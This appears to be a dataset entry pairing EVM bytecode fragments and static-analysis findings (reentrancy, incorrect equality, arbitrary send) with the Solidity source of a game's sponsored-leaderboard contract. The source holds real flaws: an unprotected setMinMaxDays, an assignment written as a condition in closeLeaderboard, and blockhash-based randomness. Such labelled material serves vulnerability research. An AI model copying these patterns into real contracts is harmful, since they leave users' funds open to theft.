5460ff1690565b34801561031757600080fd5b50610202610326366004611b03565b6106ba565b34801561033757600080fd5b506101706106dc565b34801561034c57600080fd5b506000546040516001600160a01b0390911681526020016101b3565b34801561037457600080fd5b50610170610383366004611b03565b610712565b34801561039457600080fd5b506040805180820190915260048152634441504560e01b60208201526101a6565b3480156103c157600080fd5b506101dc6103d03660046119bb565b61078c565b3480156103e157600080fd5b506101706103f0366004611a3e565b610799565b34801561040157600080fd5b506101706108b2565b34801561041657600080fd5b50610170610425366004611b03565b61096a565b34801561043657600080fd5b50610170610445366004611b03565b6109b5565b34801561045657600080fd5b50610202610465366004611b20565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049c57600080fd5b506101706104ab366004611b59565b610c10565b3480156104bc57600080fd5b506101706104cb366004611b03565b610c86565b6000546001600160a01b031633146105035760405162461bcd60e51b81526004016104fa90611b72565b60405180910390fd5b600061050e306106ba565b905061051981610d1e565b50565b6000610529338484610e98565b5060015b92915050565b6000610540848484610fbc565b610592843361058d85604051806060016040528060288152602001611ced602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113fc565b610e98565b5060019392505050565b6000546001600160a01b031633146105c65760405162461bcd60e51b81526004016104fa90611b72565b60005b815181101561062e576000600560008484815181106105ea576105ea611ba7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062681611bd3565b9150506105c9565b5050565b6000546001600160a01b0316331461065c5760405162461bcd60e51b81526004016104fa90611b72565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062e573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052d90611436565b6000546001600160a01b031633146107065760405162461bcd60e51b81526004016104fa90611b72565b61071060006114ba565b565b6000546001600160a01b0316331461073c5760405162461bcd60e51b81526004016104fa90611b72565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610529338484610fbc565b6000546001600160a01b031633146107c35760405162461bcd60e51b81526004016104fa90611b72565b60005b815181101561062e57600c5482516001600160a01b03909116908390839081106107f2576107f2611ba7565b60200260200101516001600160a01b0316141580156108435750600b5482516001600160a01b039091169083908390811061082f5761082f611ba7565b60200260200101516001600160a01b031614155b156108a05760016005600084848151811061086057610860611ba7565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108aa81611bd3565b9150506107c6565b6000546001600160a01b031633146108dc5760405162461bcd60e51b81526004016104fa90611b72565b600c54600160a01b900460ff166109405760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104fa565b600c805460ff60b81b1916600160b81b17905542600d8190556109659061012c611bee565b600e55565b6000546001600160a01b031633146109945760405162461bcd60e51b81526004016104fa90611b72565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109df5760405162461bcd60e51b81526004016104fa90611b72565b600c54600160a01b900460ff1615610a475760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104fa565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac29190611c06565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b339190611c06565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba49190611c06565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c3a5760405162461bcd60e51b81526004016104fa90611b72565b600c811115610c815760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031322560681b60448201526064016104fa565b600855565b6000546001600160a01b03163314610cb05760405162461bcd60e51b81526004016104fa90611b72565b6001600160a01b038116610d155760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fa565b610519816114ba565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6657610d66611ba7565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de39190611c06565b81600181518110610df657610df6611ba7565b6001600160a01b039283166020918202929092010152600b54610e1c9130911684610e98565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e55908590600090869030904290600401611c23565b600060405180830381600087803b158015610e6f57600080fd5b505af1158015610e83573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610efa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fa565b6001600160a01b038216610f5b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fa565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110205760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fa565b6001600160a01b0382166110825760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fa565b600081116110e45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fa565b6001600160a01b03831660009081526005602052604090205460ff161561118c5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104fa565b6001600160a01b03831660009081526004602052604081205460ff161580156111ce57506001600160a01b03831660009081526004602052604090205460ff16155b80156111e45750600c54600160a81b900460ff16155b80156112145750600c546001600160a01b03858116911614806112145750600c546001600160a01b038481169116145b156113ea57600c54600160b81b900460ff166112725760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104fa565b50600c546001906001600160a01b0385811691161480156112a15750600b546001600160a01b03848116911614155b80156112ae575042600e54115b156112f45760006112be846106ba565b90506112dd60646112d766038d7ea4c68000600261150a565b90611589565b6112e784836115cb565b11156112f257600080fd5b505b600d54421415611322576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061132d306106ba565b600c54909150600160b01b900460ff161580156113585750600c546001600160a01b03868116911614155b156113e85780156113e857600c5461138c906064906112d790600f90611386906001600160a01b03166106ba565b9061150a565b8111156113b957600c546113b6906064906112d790600f90611386906001600160a01b03166106ba565b90505b60006113c6826003611589565b90506113d28183611c94565b91506113dd8161162a565b6113e682610d1e565b505b505b6113f68484848461165a565b50505050565b600081848411156114205760405162461bcd60e51b81526004016104fa9190611941565b50600061142d8486611c94565b95945050505050565b600060065482111561149d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fa565b60006114a761175d565b90506114b38382611589565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826115195750600061052d565b60006115258385611cab565b9050826115328583611cca565b146114b35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fa565b60006114b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611780565b6000806115d88385611bee565b9050838110156114b35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fa565b600c805460ff60b01b1916600160b01b17905561164a3061dead83610fbc565b50600c805460ff60b01b19169055565b8080611668576116686117ae565b600080600080611677876117ca565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116a49085611811565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116d390846115cb565b6001600160a01b0389166000908152600160205260409020556116f581611853565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161173a91815260200190565b60405180910390a3505050508061175657611756600954600855565b5050505050565b600080600061176a61189d565b90925090506117798282611589565b9250505090565b600081836117a15760405162461bcd60e51b81526004016104fa9190611941565b50600061142d8486611cca565b6000600854116117bd57600080fd5b6008805460095560009055565b6000806000806000806117df876008546118db565b9150915060006117ed61175d565b90506000806117fd8a8585611908565b909b909a5094985092965092945050505050565b60006114b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113fc565b600061185d61175d565b9050600061186b838361150a565b3060009081526001602052604090205490915061188890826115cb565b30600090815260016020526040902055505050565b600654600090819066038d7ea4c680006118b78282611589565b8210156118d25750506006549266038d7ea4c6800092509050565b90939092509050565b600080806118ee60646112d7878761150a565b905060006118fc8683611811565b96919550909350505050565b60008080611916868561150a565b90506000611924868661150a565b905060006119328383611811565b92989297509195505050505050565b600060208083528351808285015260005b8181101561196e57858101830151858201604001528201611952565b81811115611980576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051957600080fd5b80356119b681611996565b919050565b600080604083850312156119ce57600080fd5b82356119d981611996565b946020939093013593505050565b6000806000606084860312156119fc57600080fd5b8335611a0781611996565b92506020840135611a1781611996565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a5157600080fd5b823567ffffffffffffffff80821115611a6957600080fd5b818501915085601f830112611a7d57600080fd5b813581811115611a8f57611a8f611a28565b8060051b604051601f19603f83011681018181108582111715611ab457611ab4611a28565b604052918252848201925083810185019188831115611ad257600080fd5b938501935b82851015611af757611ae8856119ab565b84529385019392850192611ad7565b98975050505050505050565b600060208284031215611b1557600080fd5b81356114b381611996565b60008060408385031215611b3357600080fd5b8235611b3e81611996565b91506020830135611b4e81611996565b809150509250929050565b600060208284031215611b6b57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611be757611be7611bbd565b5060010190565b60008219821115611c0157611c01611bbd565b500190565b600060208284031215611c1857600080fd5b81516114b381611996565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c735784516001600160a01b031683529383019391830191600101611c4e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611ca657611ca6611bbd565b500390565b6000816000190483118215151615611cc557611cc5611bbd565b500290565b600082611ce757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201d785be5fefb8571468c055907edebf7a713ad484b26c39b45de34a1b4aebaf664736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,414 |
0xAbe64ec568AeB065D0445B9D76F511A7B5eA2d7f
|
pragma solidity ^0.4.17;
contract AccessControl {
address public creatorAddress;
uint16 public totalSeraphims = 0;
mapping (address => bool) public seraphims;
bool public isMaintenanceMode = true;
modifier onlyCREATOR() {
require(msg.sender == creatorAddress);
_;
}
modifier onlySERAPHIM() {
require(seraphims[msg.sender] == true);
_;
}
modifier isContractActive {
require(!isMaintenanceMode);
_;
}
// Constructor
function AccessControl() public {
creatorAddress = msg.sender;
}
function addSERAPHIM(address _newSeraphim) onlyCREATOR public {
if (seraphims[_newSeraphim] == false) {
seraphims[_newSeraphim] = true;
totalSeraphims += 1;
}
}
function removeSERAPHIM(address _oldSeraphim) onlyCREATOR public {
if (seraphims[_oldSeraphim] == true) {
seraphims[_oldSeraphim] = false;
totalSeraphims -= 1;
}
}
function updateMaintenanceMode(bool _isMaintaining) onlyCREATOR public {
isMaintenanceMode = _isMaintaining;
}
}
contract SafeMath {
function safeAdd(uint x, uint y) pure internal returns(uint) {
uint z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint x, uint y) pure internal returns(uint) {
assert(x >= y);
uint z = x - y;
return z;
}
function safeMult(uint x, uint y) pure internal returns(uint) {
uint z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
function getRandomNumber(uint16 maxRandom, uint8 min, address privateAddress) constant public returns(uint8) {
uint256 genNum = uint256(block.blockhash(block.number-1)) + uint256(privateAddress);
return uint8(genNum % (maxRandom - min + 1)+min);
}
}
contract Enums {
enum ResultCode {
SUCCESS,
ERROR_CLASS_NOT_FOUND,
ERROR_LOW_BALANCE,
ERROR_SEND_FAIL,
ERROR_NOT_OWNER,
ERROR_NOT_ENOUGH_MONEY,
ERROR_INVALID_AMOUNT
}
enum AngelAura {
Blue,
Yellow,
Purple,
Orange,
Red,
Green
}
}
contract ISponsoredLeaderboardData is AccessControl {
uint16 public totalLeaderboards;
//The reserved balance is the total balance outstanding on all open leaderboards.
//We keep track of this figure to prevent the developers from pulling out money currently pledged
uint public contractReservedBalance;
function setMinMaxDays(uint8 _minDays, uint8 _maxDays) external ;
function openLeaderboard(uint8 numDays, string message) external payable ;
function closeLeaderboard(uint16 leaderboardId) onlySERAPHIM external;
function setMedalsClaimed(uint16 leaderboardId) onlySERAPHIM external ;
function withdrawEther() onlyCREATOR external;
function getTeamFromLeaderboard(uint16 leaderboardId, uint8 rank) public constant returns (uint64 angelId, uint64 petId, uint64 accessoryId) ;
function getLeaderboard(uint16 id) public constant returns (uint startTime, uint endTime, bool isLive, address sponsor, uint prize, uint8 numTeams, string message, bool medalsClaimed);
function newTeamOnEnd(uint16 leaderboardId, uint64 angelId, uint64 petId, uint64 accessoryId) onlySERAPHIM external;
function switchRankings (uint16 leaderboardId, uint8 spot,uint64 angel1ID, uint64 pet1ID, uint64 accessory1ID,uint64 angel2ID,uint64 pet2ID,uint64 accessory2ID) onlySERAPHIM external;
function verifyPosition(uint16 leaderboardId, uint8 spot, uint64 angelID) external constant returns (bool);
function angelOnLeaderboards(uint64 angelID) external constant returns (bool);
function petOnLeaderboards(uint64 petID) external constant returns (bool);
function accessoryOnLeaderboards(uint64 accessoryID) external constant returns (bool) ;
function safeMult(uint x, uint y) pure internal returns(uint) ;
function SafeDiv(uint256 a, uint256 b) internal pure returns (uint256) ;
function getTotalLeaderboards() public constant returns (uint16);
}
contract IAngelCardData is AccessControl, Enums {
uint8 public totalAngelCardSeries;
uint64 public totalAngels;
// write
// angels
function createAngelCardSeries(uint8 _angelCardSeriesId, uint _basePrice, uint64 _maxTotal, uint8 _baseAura, uint16 _baseBattlePower, uint64 _liveTime) onlyCREATOR external returns(uint8);
function updateAngelCardSeries(uint8 _angelCardSeriesId, uint64 _newPrice, uint64 _newMaxTotal) onlyCREATOR external;
function setAngel(uint8 _angelCardSeriesId, address _owner, uint _price, uint16 _battlePower) onlySERAPHIM external returns(uint64);
function addToAngelExperienceLevel(uint64 _angelId, uint _value) onlySERAPHIM external;
function setAngelLastBattleTime(uint64 _angelId) onlySERAPHIM external;
function setAngelLastVsBattleTime(uint64 _angelId) onlySERAPHIM external;
function setLastBattleResult(uint64 _angelId, uint16 _value) onlySERAPHIM external;
function addAngelIdMapping(address _owner, uint64 _angelId) private;
function transferAngel(address _from, address _to, uint64 _angelId) onlySERAPHIM public returns(ResultCode);
function ownerAngelTransfer (address _to, uint64 _angelId) public;
function updateAngelLock (uint64 _angelId, bool newValue) public;
function removeCreator() onlyCREATOR external;
// read
function getAngelCardSeries(uint8 _angelCardSeriesId) constant public returns(uint8 angelCardSeriesId, uint64 currentAngelTotal, uint basePrice, uint64 maxAngelTotal, uint8 baseAura, uint baseBattlePower, uint64 lastSellTime, uint64 liveTime);
function getAngel(uint64 _angelId) constant public returns(uint64 angelId, uint8 angelCardSeriesId, uint16 battlePower, uint8 aura, uint16 experience, uint price, uint64 createdTime, uint64 lastBattleTime, uint64 lastVsBattleTime, uint16 lastBattleResult, address owner);
function getOwnerAngelCount(address _owner) constant public returns(uint);
function getAngelByIndex(address _owner, uint _index) constant public returns(uint64);
function getTotalAngelCardSeries() constant public returns (uint8);
function getTotalAngels() constant public returns (uint64);
function getAngelLockStatus(uint64 _angelId) constant public returns (bool);
}
//Note - due to not yet implemented features we could not store teams in an array.
contract SponsoredLeaderboardData is ISponsoredLeaderboardData {
/*** DATA TYPES ***/
address public angelCardDataContract = 0x6D2E76213615925c5fc436565B5ee788Ee0E86DC;
struct Team {
uint64 angelId;
uint64 petId;
uint64 accessoryId;
}
struct Leaderboard {
uint startTime;
uint endTime;
Team rank0;
Team rank1;
Team rank2;
Team rank3;
bool isLive;
address sponsor;
uint prize;
uint16 id;
uint8 numTeams;
string message;
bool medalsClaimed;
}
//main storage
Leaderboard [] Leaderboards;
uint16 public totalLeaderboards;
uint16 minDays= 4;
uint16 maxDays = 10;
//The reserved balance is the total balance outstanding on all open leaderboards.
//We keep track of this figure to prevent the developers from pulling out money currently pledged
uint public contractReservedBalance;
mapping (uint64 => bool) angelsOnLeaderboards;
mapping (uint64 => bool) petsOnLeaderboards;
mapping (uint64 => bool) accessoriesOnLeaderboards;
// write functions
function setMinMaxDays(uint8 _minDays, uint8 _maxDays) external {
minDays = _minDays;
maxDays = _maxDays;
}
function openLeaderboard(uint8 numDays, string message) external payable {
// This function is called by the sponsor to create the Leaderboard by sending money.
if (msg.value < 10000000000000000) {revert();}
if ((numDays < minDays) || (numDays > maxDays)) {revert();}
Leaderboard memory leaderboard;
leaderboard.startTime = now;
leaderboard.endTime = (now + (numDays * 86400));
leaderboard.isLive = true;
leaderboard.sponsor = msg.sender;
leaderboard.prize = msg.value;
leaderboard.message = message;
leaderboard.id = totalLeaderboards;
leaderboard.medalsClaimed= false;
leaderboard.numTeams = 4;
Leaderboards.push(leaderboard);
Team memory team;
team.angelId = 1;
team.petId = 1;
team.accessoryId = 0;
Leaderboards[totalLeaderboards].rank1 = team;
Leaderboards[totalLeaderboards].rank2 = team;
Leaderboards[totalLeaderboards].rank3 = team;
Leaderboards[totalLeaderboards].rank0 = team;
totalLeaderboards +=1;
contractReservedBalance += msg.value;
}
function closeLeaderboard(uint16 leaderboardId) onlySERAPHIM external {
//will be called by the SponsoredLeaderboards contract with a certain chance after the minimum battle time.
Leaderboard memory leaderboard;
leaderboard = Leaderboards[leaderboardId];
if (now < leaderboard.endTime) {revert();}
if (leaderboard.isLive = false) {revert();}
Leaderboards[leaderboardId].isLive = false;
IAngelCardData angelCardData = IAngelCardData(angelCardDataContract);
address owner1;
address owner2;
address owner3;
address owner4;
(,,,,,,,,,,owner1) = angelCardData.getAngel(Leaderboards[leaderboardId].rank0.angelId);
(,,,,,,,,,,owner2) = angelCardData.getAngel(Leaderboards[leaderboardId].rank1.angelId);
(,,,,,,,,,,owner3) = angelCardData.getAngel(Leaderboards[leaderboardId].rank2.angelId);
(,,,,,,,,,,owner4) = angelCardData.getAngel(Leaderboards[leaderboardId].rank3.angelId);
uint prize = Leaderboards[leaderboardId].prize;
owner1.transfer(SafeDiv(safeMult(prize,45), 100));
owner2.transfer(SafeDiv(safeMult(prize,25), 100));
owner3.transfer(SafeDiv(safeMult(prize,15), 100));
owner4.transfer(SafeDiv(safeMult(prize,5), 100));
//Free up cards to be on other Leaderboards
angelsOnLeaderboards[Leaderboards[leaderboardId].rank0.angelId] = false;
petsOnLeaderboards[Leaderboards[leaderboardId].rank0.petId] = false;
accessoriesOnLeaderboards[Leaderboards[leaderboardId].rank0.accessoryId] = false;
angelsOnLeaderboards[Leaderboards[leaderboardId].rank1.angelId] = false;
petsOnLeaderboards[Leaderboards[leaderboardId].rank1.petId] = false;
accessoriesOnLeaderboards[Leaderboards[leaderboardId].rank1.accessoryId] = false;
angelsOnLeaderboards[Leaderboards[leaderboardId].rank2.angelId] = false;
petsOnLeaderboards[Leaderboards[leaderboardId].rank2.petId] = false;
accessoriesOnLeaderboards[Leaderboards[leaderboardId].rank2.accessoryId] = false;
angelsOnLeaderboards[Leaderboards[leaderboardId].rank3.angelId] = false;
petsOnLeaderboards[Leaderboards[leaderboardId].rank3.petId] = false;
accessoriesOnLeaderboards[Leaderboards[leaderboardId].rank3.accessoryId] = false;
contractReservedBalance= contractReservedBalance - SafeDiv(safeMult(prize,90), 100);
}
function setMedalsClaimed(uint16 leaderboardId) onlySERAPHIM external {
Leaderboards[leaderboardId].medalsClaimed = true;
}
function withdrawEther() external onlyCREATOR {
//make sure we can't transfer out balance for leaderboards that aren't open.
creatorAddress.transfer(this.balance-contractReservedBalance);
}
// Call to get the specified team at a certain position of a certain board.
function getTeamFromLeaderboard(uint16 leaderboardId, uint8 rank) public constant returns (uint64 angelId, uint64 petId, uint64 accessoryId) {
if ((leaderboardId <0) || (rank <0) || (rank >3) || (leaderboardId > totalLeaderboards)) {revert();}
if (rank == 0) {
angelId = Leaderboards[leaderboardId].rank0.angelId;
petId = Leaderboards[leaderboardId].rank0.petId;
accessoryId = Leaderboards[leaderboardId].rank0.accessoryId;
return;
}
if (rank == 1) {
angelId = Leaderboards[leaderboardId].rank1.angelId;
petId = Leaderboards[leaderboardId].rank1.petId;
accessoryId = Leaderboards[leaderboardId].rank1.accessoryId;
return;
}
if (rank == 2) {
angelId = Leaderboards[leaderboardId].rank2.angelId;
petId = Leaderboards[leaderboardId].rank2.petId;
accessoryId = Leaderboards[leaderboardId].rank2.accessoryId;
return;
}
if (rank == 3) {
angelId = Leaderboards[leaderboardId].rank3.angelId;
petId = Leaderboards[leaderboardId].rank3.petId;
accessoryId = Leaderboards[leaderboardId].rank3.accessoryId;
return;
}
}
function getLeaderboard(uint16 id) public constant returns (uint startTime, uint endTime, bool isLive, address sponsor, uint prize, uint8 numTeams, string message, bool medalsClaimed) {
Leaderboard memory leaderboard;
leaderboard = Leaderboards[id];
startTime = leaderboard.startTime;
endTime = leaderboard.endTime;
isLive = leaderboard.isLive;
sponsor = leaderboard.sponsor;
prize = leaderboard.prize;
numTeams = leaderboard.numTeams;
message = leaderboard.message;
medalsClaimed = leaderboard.medalsClaimed;
}
function newTeamOnEnd(uint16 leaderboardId, uint64 angelId, uint64 petId, uint64 accessoryId) onlySERAPHIM external {
//to be used when a team successfully challenges the last spot and knocks the prvious team out.
Team memory team;
//remove old team from mappings
team = Leaderboards[leaderboardId].rank3;
angelsOnLeaderboards[Leaderboards[leaderboardId].rank3.angelId] = false;
petsOnLeaderboards[Leaderboards[leaderboardId].rank3.petId] = false;
accessoriesOnLeaderboards[Leaderboards[leaderboardId].rank3.accessoryId] = false;
//Add new team to end
Leaderboards[leaderboardId].rank3.angelId = angelId;
Leaderboards[leaderboardId].rank3.petId = petId;
Leaderboards[leaderboardId].rank3.accessoryId = accessoryId;
angelsOnLeaderboards[angelId] = true;
petsOnLeaderboards[petId] = true;
accessoriesOnLeaderboards[accessoryId] = true;
}
function switchRankings (uint16 leaderboardId, uint8 spot,uint64 angel1ID, uint64 pet1ID, uint64 accessory1ID,uint64 angel2ID,uint64 pet2ID,uint64 accessory2ID ) onlySERAPHIM external {
//put team 1 from spot to spot+1 and put team 2 to spot.
Team memory team;
team.angelId = angel1ID;
team.petId = pet1ID;
team.accessoryId = accessory1ID;
if (spot == 0) {Leaderboards[leaderboardId].rank1 = team;}
if (spot == 1) {Leaderboards[leaderboardId].rank2 = team;}
if (spot == 2) {Leaderboards[leaderboardId].rank3 = team;}
team.angelId = angel2ID;
team.petId = pet2ID;
team.accessoryId = accessory2ID;
if (spot == 0) {Leaderboards[leaderboardId].rank0 = team;}
if (spot == 1) {Leaderboards[leaderboardId].rank1 = team;}
if (spot == 2) {Leaderboards[leaderboardId].rank2 = team;}
}
function verifyPosition(uint16 leaderboardId, uint8 spot, uint64 angelID) external constant returns (bool) {
if (spot == 0) {
if (Leaderboards[leaderboardId].rank0.angelId == angelID) {return true;}
}
if (spot == 1) {
if (Leaderboards[leaderboardId].rank1.angelId == angelID) {return true;}
}
if (spot == 2) {
if (Leaderboards[leaderboardId].rank2.angelId == angelID) {return true;}
}
if (spot == 3) {
if (Leaderboards[leaderboardId].rank3.angelId == angelID) {return true;}
}
return false;
}
//each angel can only be on ONE sponsored leaderboard at a time.
function angelOnLeaderboards(uint64 angelID) external constant returns (bool) {
return angelsOnLeaderboards[angelID];
}
//each pet can only be on ONE sponsored leaderboard at a time.
function petOnLeaderboards(uint64 petID) external constant returns (bool) {
return petsOnLeaderboards[petID];
}
//Each Accessory can only be on one sponsored leaderboard
function accessoryOnLeaderboards(uint64 accessoryID) external constant returns (bool) {
return accessoriesOnLeaderboards[accessoryID];
}
function safeMult(uint x, uint y) pure internal returns(uint) {
uint z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
function SafeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
/// Read access
}
function getTotalLeaderboards() public constant returns (uint16) {
return totalLeaderboards;
}
}
|
0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630dbda70b1461014357806323a1e00e146101885780632ef0a28d146101b757806337cc77611461020857806343d6add11461023157806345e26105146102765780635007364f1461029b5780636b6cc239146103a65780637123691e146103d35780637362377b1461040c578063a946d7bb14610421578063bbc878c414610448578063c95f79ba14610479578063caa774ed146104a0578063d34a412c146104e5578063d356a28b1461058a578063db9dfb35146105c3578063dc74665e14610623578063e0036d1d14610654578063e2985596146106b2578063e927fc5c14610707578063ecd57ec11461075c578063fd7903a01461078e578063ff29c1041461081f575b600080fd5b341561014e57600080fd5b61016e600480803567ffffffffffffffff16906020019091905050610850565b604051808215151515815260200191505060405180910390f35b6101b5600480803560ff16906020019091908035906020019082018035906020019190919290505061088e565b005b34156101c257600080fd5b6101ee600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061114c565b604051808215151515815260200191505060405180910390f35b341561021357600080fd5b61021b61116c565b6040518082815260200191505060405180910390f35b341561023c57600080fd5b61025c600480803567ffffffffffffffff16906020019091905050611172565b604051808215151515815260200191505060405180910390f35b341561028157600080fd5b610299600480803515159060200190919050506111b0565b005b34156102a657600080fd5b6102c0600480803561ffff16906020019091905050611228565b60405180898152602001888152602001871515151581526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018460ff1660ff1681526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b83811015610364578082015181840152602081019050610349565b50505050905090810190601f1680156103915780820380516001836020036101000a031916815260200191505b50995050505050505050505060405180910390f35b34156103b157600080fd5b6103b96116f0565b604051808215151515815260200191505060405180910390f35b34156103de57600080fd5b61040a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611703565b005b341561041757600080fd5b61041f611844565b005b341561042c57600080fd5b610446600480803561ffff1690602001909190505061191d565b005b341561045357600080fd5b61045b6119bc565b604051808261ffff1661ffff16815260200191505060405180910390f35b341561048457600080fd5b61049e600480803561ffff169060200190919050506119d0565b005b34156104ab57600080fd5b6104cb600480803567ffffffffffffffff16906020019091905050612c26565b604051808215151515815260200191505060405180910390f35b34156104f057600080fd5b610588600480803561ffff1690602001909190803560ff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff16906020019091905050612c64565b005b341561059557600080fd5b6105c1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050613222565b005b34156105ce57600080fd5b610621600480803561ffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff16906020019091905050613362565b005b341561062e57600080fd5b6106366137b3565b604051808261ffff1661ffff16815260200191505060405180910390f35b341561065f57600080fd5b610698600480803561ffff1690602001909190803560ff1690602001909190803567ffffffffffffffff169060200190919050506137c7565b604051808215151515815260200191505060405180910390f35b34156106bd57600080fd5b6106c5613988565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561071257600080fd5b61071a6139ae565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561076757600080fd5b61078c600480803560ff1690602001909190803560ff169060200190919050506139d3565b005b341561079957600080fd5b6107bf600480803561ffff1690602001909190803560ff16906020019091905050613a17565b604051808467ffffffffffffffff1667ffffffffffffffff1681526020018367ffffffffffffffff1667ffffffffffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff168152602001935050505060405180910390f35b341561082a57600080fd5b610832613d9f565b604051808261ffff1661ffff16815260200191505060405180910390f35b6000600860008367ffffffffffffffff1667ffffffff